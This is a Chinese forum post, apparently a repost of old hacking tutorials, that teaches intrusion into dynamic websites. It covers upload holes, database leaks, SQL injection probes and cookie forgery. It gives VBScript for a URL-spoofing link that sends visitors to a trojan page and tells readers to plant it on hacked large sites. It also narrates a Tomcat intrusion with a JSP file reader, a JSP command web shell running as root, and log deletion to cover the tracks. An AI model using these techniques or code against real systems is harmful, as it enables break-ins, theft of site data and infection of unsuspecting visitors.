职业IT人-IT人生活圈

 找回密码
 成为会员
搜索
查看: 1407|回复: 0

网站入侵基本知识

[复制链接]
gougou123 发表于 2007-3-1 16:23 | 显示全部楼层 |阅读模式
一、网站入侵基本知识
首先介绍下什么样的站点可以入侵:必须是动态的网站,比如asp、php、jsp 这种形式的站点。后缀为.htm的站点劝大家还是不要入侵了吧(入侵几率几乎为0)。
入侵介绍: 1 上传漏洞;2 暴库;3 注入;4 旁注;5 COOKIE诈骗。
1 上传漏洞,这个漏洞在DVBBS6.0时代被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。
怎样利用:在网站的地址栏中网址后加上/upfile.asp如果显示 上传格式不正确[重新上传] 这样的字样8成就是有长传漏洞了找个可以上传的工具直接可以得到WEBSHELL。
工具介绍:上传工具,老兵的上传工具、DOMAIN3.5,这两个软件都可以达到上传的目的,用NC也可以提交。
WEBSHELL是什么:WEBSHELL在上节课简单的介绍了下,许多人都不理解,这里就详细讲下,其实WEBSHELL并不什么深奥的东西,是个WEB的权限,可以管理WEB,修改主页内容等权限,但是并没有什么特别高的权限,(这个看管理员的设置了)一般修改别人主页大多都需要这个权限,接触过WEB木马的朋友可能知道(比如老兵的站长助手就是WEB木马 海阳2006也是 WEB木马)我们上传漏洞最终传的就是这个东西,有时碰到权限设置不好的服务器可以通过WEBSHELL得到最高权限。
2 暴库:这个漏洞现在很少见了,但是还有许多站点有这个漏洞可以利用,暴库就是提交字符得到数据库文件,得到了数据库文件我们就直接有了站点的前台或者后台的权限了。
暴库方法:比如一个站的地址为 http://www.xxx.com/dispbbs.asp?boardID=7&ID=161,我门就可以把com/dispbbs中间的/换成%5c,如果有漏洞直接得到数据库的绝对路径,用寻雷什么的下载下来就可以了。还有种方法就是利用默认的数据库路径http://www.xxx.com/后面加上conn.asp。如果没有修改默认的数据库路径也可以得到数据库的路径(注意:这里的/也要换成%5c)。
为什么换成%5c:因为在ASCII码里/等于%5c,有时碰到数据库名字为/#abc.mdb的为什么下不了? 这里需要把#号换成%23就可以下载了,为什么我暴出的数据库文件是以。ASP结尾的?我该怎么办?这里可以在下载时把.ASP换成.MDB 这样就可以下载了如果还下载不了可能作了防下载。
3 注入漏洞:这个漏洞是现在应用最广泛,杀伤力也很大的漏洞,可以说微软的官方网站也存在着注入漏洞。注入漏洞是因为字符过滤不严禁所造成的,可以得到管理员的帐号密码等相关资料。
怎样利用:我先介绍下怎样找漏洞比如这个网址 http://www.xxx.com/dispbbs.asp?boardID=7&ID=161 后面是以ID=数字形式结尾的站我们可以手动在后面加上个 and 1=1 看看 如果显示正常页面 再加上个and 1=2 来看看 如果返回正常页面说明没有漏洞 如果返回错误页面说明存在注入漏洞。如果加and 1=1 返回错误页面说明也没有漏洞,知道了站点有没有漏洞我门就可以利用了 可以手工来猜解也可以用工具现在工具比较多(NBSI NDSI 啊D DOMAIN等)都可以用来猜解帐号密码,因为是菜鸟接触,我还是建议大家用工具,手工比较烦琐。
4 旁注:我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务器的站点,然后在利用这个站点用提权,嗅探等方法来入侵我们要入侵的站点。打个形象的比喻,比如你和我一个楼,我家很安全,而你家呢,却漏洞百出,现在有个贼想入侵我家,他对我家做了监视(也就是扫描)发现没有什么可以利用的东西,那么这个贼发现你家和我家一个楼,你家很容易就进去了,他可以先进入你家,然后通过你家得到整个楼的钥匙(系统权限),这样就自然得到我的钥匙了,就可以进入我的家(网站)。
工具介绍:还是名小子的DOMIAN3.5不错的东西,可以检测注入,可以旁注,还可以上传!
5 COOKIE诈骗:许多人不知道什么是COOKIE,COOKIE是你上网时由网站所为你发送的值记录了你的一些资料,比如IP,姓名什么的。
怎样诈骗呢?如果我们现在已经知道了XX站管理员的站号和MD5密码了,但是破解不出来密码(MD5是加密后的一个32位的密码)我们就可以用COOKIE诈骗来实现,把自己的ID修改成管理员的,MD5密码也修改成他的,有工具可以修改COOKIE 这样就答到了COOKIE诈骗的目的,系统以为你就是管理员了。

二、域名欺骗技术实现过程
网页木马种植方案一直都存在很大的问题,当然欺骗需要技巧也需要时间,我们现在不需要那么麻烦的欺骗,本文就是教大家利用最新浏览器漏洞实现域名的欺骗.....
  前言
  域名欺骗有多种实现方法,本文所说的是利用客户端浏览器的漏洞来欺骗用户。
  多数浏览器都会存在这个漏洞,目前暂时还没相应的补丁。漏洞是这样的:
当用户通过浏览器访问一个url,如果这个url是经过以下的格式构造的,那么浏览器实际将访问经过构造的恶意页面,而用户浏览器的地址栏里所显示的将是虚假的url:
url的构造格式为:
[url_1][special_char]@[url_2]/\" target=_blank>[url=http://[url_1][special_char]@[url_2/]http://[url_1][special_char]@[url_2[/url]]
说明:
  url_1为用户所看到的地址,地址中不可以带\"/\"
  special_char为一个特殊的字符,即ascii码为1的字符
  url_2为恶意页面地址
  利用过程
  首先请看这个测试页面:
<html>
<head>
<title>域名欺骗技术实例</title>
</head>
<body link=\"#0000ff\" alink=\"#0000ff\" vlink=\"#0000ff\">
你可以看看这两个链接有什么区别:<br>
<h1>链接1:<script language=\"vbscript\" src=\"deceive.vbs\"></script></h1>
<h1>链接2:<a href=\"_blank ?>www.163.com\" target=\"_blank\">http://www.163.com/\"; target=\"_blank\" http://ww ... \";>www.163.com</a></h1>
</body>
</html>
  这个网页源代码,其中链接1指向了一个vbs脚本,而链接2指向的是163站点。如果我们把连接一的vbs脚本改成下列代码:
\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'deceive.vbs\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'
\'(以下请根据实际情况自行修改:)
url1=\"http://www.163.com/\"
url2=\"http://www.google.com/\"
text=\"http://www.163.com/\"
url=\"_blank ?>http://\";&url1&chr(1)& ... p;url2&\"\"
dn=\"/\"
mouseover=\"javascript :window.status=\'_blank ?>http://\";&url1&dn&\"\'\"\"\"
mouseout=\"onmouseout=\"\"javascript :window.status=\'\'\"\"\"
click=\"javascript :navigate(\'\"&url&\"\')\"\"\"
style=\"style=\"\"cursor:hand\"\"\"
tag=\"<span \"&style&\" \"&mouseover&\" \"&mouseout&\" \"&click&\"><font color=\"\"#0000ff\"\"><u>\"&text&\"</u></font></span>\"
document.write tag
\'说明:
\'url1是用来欺骗用户的地址.
\'url2是实际访问的地址,可以是网页木马、恶意网页等.
\'text是链接的文字.
\'注意:(以上欺骗地址及实际地址不可以加\"http://\")
\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'cuts here\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'
  现在大家看到了吧~~当我们点击这个测试页面的时候,链接1指向的是google.com,而且状态栏和地址栏里都显示\"_blank>http://www.163.com/\",链接2却指向163.com。你也许感到不可思议,但这就是域名欺骗漏洞的魅力。
  我们可以想象,如果以上的测试页面中的链接1指向的不是google.com,而是我们的网页木马,那就......
  不过,一个普通的个人网站没人会看的,这就需要我们把这种假链接添加到别的大网站的页面之中。假设我们入侵了一个比较大的网站,比如网易(哇~~~~~~这时候一只菜鸟推着一车砖头,看着我......)。这时候就可以把它的页面给改了。
  比如有一个文字链接,我们就可以把代码中的\"<a href=\"xxxxx.htm\">xxxxxx</a>\"改为我们自己的代码:\"<script language=\"vbscript\" src=\"deceive.vbs\"></script>\"。看到src属性里的deceive.vbs了吗 ?我们要编辑好这个文件,然后上传到要修改的页面目录下。
  这样还不行,我们还要把自己的木马网页的界面修改一下。也就是把原来链接到的页面加入到我们自己的木马网页,并且我们的木马网页里的所有链接等内容要和原来的页面一样,否则就会引起用户的怀疑。现在,我们把google网站的首页源代码全部复制下来,添加到我们的网页木马。把复制下来的代码中的图片或者是链接的文件都修改完整,比如logo.gif改为_blank>/UpLoadFiles/NewsPhoto/comalogo.gif,否则网页就和原来的不一样了(图片显示为红色的×,链接也失效),因为用户打开的是你的站点,而你的站点中并没有logo.gif。都修改好后就可以保存文件了。上传到你的网页空间里。
  至此,我们的工作已经完成。
  当我们进入这个网站后,点击我们修改过的连接,你会发现和原来的页面几乎就一模一样(当然,也有些细微的区别,不过一般很难觉察)。就当人家在浏览这个网页的时候,他已经在不知不觉中中了木马,而你也开心地笑呢!~呵呵

三、WEB入侵的过程
很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。
telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]
返回的结果如下:
HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404
<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL
我获得了运行的WEBServer的名称\"Tomcat 3.1\"。我记得我曾经发现过这个版本的漏洞,并且post到bugtrap上去过。
大概是:通过\"..\"技术可以退出WEB目录,于是:
http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)
嗯,在试试吧!Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context.试一下:http://target:8080/admin/
管理员果然没有删除或禁止访问这个目录:-(失误!!!!!
接着我点\"VIEW ALL CONTEXT\"按钮,列出了WEB目录下的一些文件和目录的名称,我开始仔细的看了起来,一小会儿,发现了一个上传文件的组件,嘿嘿,写一个jsp文件弄上去看看。
几口咖啡的时间,我写了这么一个东东出来:
<%@ page import=\"java.io.*\" %>
<%
String file = request.getParameter(\"file\");
String str = \"\";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+\"<br>\");
}
}catch(IOException e){}
%>
通过上传的组件将这个jsp上传到对方的WEB目录里,然后:
http://target:8080/upload/test.jsp?file=/etc/passwd
嘿嘿,密码出来啦。我只看了\"/etc/passwd\",并没有看\"/etc/shadow\",因为当时考虑webserver一般使用nobody的身份启动的,看了也白看。(失误)
接下来的过程是无聊的猜测密码,没有成功。算了,那我只有将就点,反正现在我相当于有了一个shell了嘛,猜不出密码上去,那就全当IE是我的SHELL环境吧!
再写:
<%@ page import=\"java.io.*\" %>
<%
try {
String cmd = request.getParameter(\"cmd\");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
然后把这个jsp又通过upload上传了上去,嘿嘿,我现在有个SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(我这里就不列出来了)
怎么获得root呢?经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了mysql的密码:)看看是什么权限运行的mysql:
sqld\">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld
显示:
root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
嘿嘿,有办法了,系统是以root身份运行的mysql,同时我知道了mysql的密码,那我现在我可以写一个shell程序,让它create一个表,然后将我的数据放到表中,然后再使用\"select ... into outfile;\"的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?hacker就采用的这种办法)。
然后,我再上传bindshell之类的程序,运行、获得nobody的权限,然后......再使用su root时帮忙创建的setuid shell让自己成为root.
嘿嘿,真是好办法,我都为我的想法感到得意......
接下去的事情,差点没让我吐血:
我敲了一个:http://target:8080/upload/cmd.jsp?cmd=id
显示:
uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
kao,我的这个WEB SHELL本来就是ROOT,真是服了那个管理员,也服了自己。竟然折腾了这么半天,哎!
http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份运行的(不列出来了)
剩下来的事情:
1、删除我的telnet记录。
2、删除http的日志。
至于清除日志嘛,我使用的办法是:cat xxx |grep -V \"IP\" >>temp然后在把temp覆盖那些被我修改过的日志文件。
我没有更换他的页面,因为我本身也就不是什么黑客啦,更不是红客,只是个网络安全爱好者而已。所以,发封邮件告诉system admin吧!

最强的师资,最好的设备,我信赖:北大青鸟(五羊新城学校)网络工

程师授权培训中心 电话:020-87318662  传真:020-87601353 地址:广州市东山区达道路12号金达大

厦三楼
您需要登录后才可以回帖 登录 | 成为会员

本版积分规则

QQ|手机版|小黑屋|网站帮助|职业IT人-IT人生活圈 ( 粤ICP备12053935号-1 )|网站地图
本站文章版权归原发布者及原出处所有。内容为作者个人观点,并不代表本站赞同其观点和对其真实性负责,本站只提供参考并不构成任何投资及应用建议。本站是信息平台,网站上部分文章为转载,并不用于任何商业目的,我们已经尽可能的对作者和来源进行了通告,但是能力有限或疏忽造成漏登,请及时联系我们,我们将根据著作权人的要求立即更正或者删除有关内容。

GMT+8, 2024-5-4 20:21 , Processed in 0.117774 second(s), 20 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表